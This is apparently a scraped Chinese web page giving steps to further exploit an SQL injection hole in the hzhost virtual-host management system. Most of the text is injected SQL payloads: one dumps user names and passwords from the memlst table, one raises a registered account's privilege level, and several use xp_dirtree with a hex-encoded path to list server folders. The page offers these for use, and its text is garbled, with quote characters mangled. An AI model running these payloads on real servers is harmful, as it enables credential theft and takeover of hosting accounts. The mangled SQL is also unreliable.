hzhost域名虛擬主機(jī)管理系統(tǒng)sql注射漏洞進(jìn)一步利用-在線瀏覽
2025-05-25 05:53本頁(yè)面
【正文】 _pss] as nvarchar(4000)),char(32)) from (select top 2u_nme,U_pss from [hzhost]..[memlst] where 1=1 order by [u_nme]) t order by [u_nme] desc )0 and 39。=39。想爆出其他用戶的語(yǔ)句自己構(gòu)造吧。 UPDATE [memlst] SET u_sys=6 WHERE u_nme=39。12339。你注冊(cè)的用戶名39。但是很有效果。很強(qiáng)大。 。create table foofoofoo([id] [int] identity (1,1) not null,[name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null)。139。1第二步：12339。declare z nvarchar(4000) set z=0x63003a005c00 insert foofoofoo execute master..xp_dirtree z,1,1 and 39。=39。 為sql ENCODE其他的自己找工具去轉(zhuǎn)吧！第三步：暴出總數(shù) 12339。139。1第四步：暴出你想要的文件夾
公司管理相關(guān)推薦
鄂ICP備17016276號(hào)-1